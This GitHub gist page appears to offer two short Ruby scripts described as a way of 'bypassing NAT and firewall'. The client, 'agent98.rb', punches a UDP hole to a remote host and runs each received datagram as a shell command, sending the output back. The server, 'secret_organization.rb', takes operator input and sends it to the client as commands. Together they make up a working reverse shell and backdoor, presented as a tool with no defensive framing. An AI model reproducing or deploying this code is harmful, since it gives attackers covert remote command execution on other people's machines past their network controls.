Skip to content

Instantly share code, notes, and snippets.

@victorcreed
Created October 12, 2013 07:22
Show Gist options
  • Save victorcreed/6946923 to your computer and use it in GitHub Desktop.
Save victorcreed/6946923 to your computer and use it in GitHub Desktop.
bypassing NAT and firewall ruby. agent98.rb is a client secret_organization.rb is a server
require 'socket'
remote_host = "[some public address]"
punch = UDPSocket.new
punch.bind('', 6311)
punch.send('', 0, remote_host, 6311)
punch.close
# # Bind for receiving
udp_in = UDPSocket.new
udp_in.bind('0.0.0.0', 6311)
puts "Binding to local port 6311"
loop do
if IO.select([udp_in], nil, nil, rand(4))
data = udp_in.recvfrom(1024)
remote_port = data[1][1]
remote_addr = data[1][3]
local_machine_command = `#{data[0]}`
udp_in.send(local_machine_command, 0, remote_host, 6311)
end
end
require "socket"
s = UDPSocket.new
s.bind("0.0.0.0", 6311)
loop do
text, sender = s.recvfrom(1024)
puts sender.inspect, text
puts sender[2]
print "Enter Command: "
send_command = gets
s.send(send_command, 0, sender[2], sender[1])
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment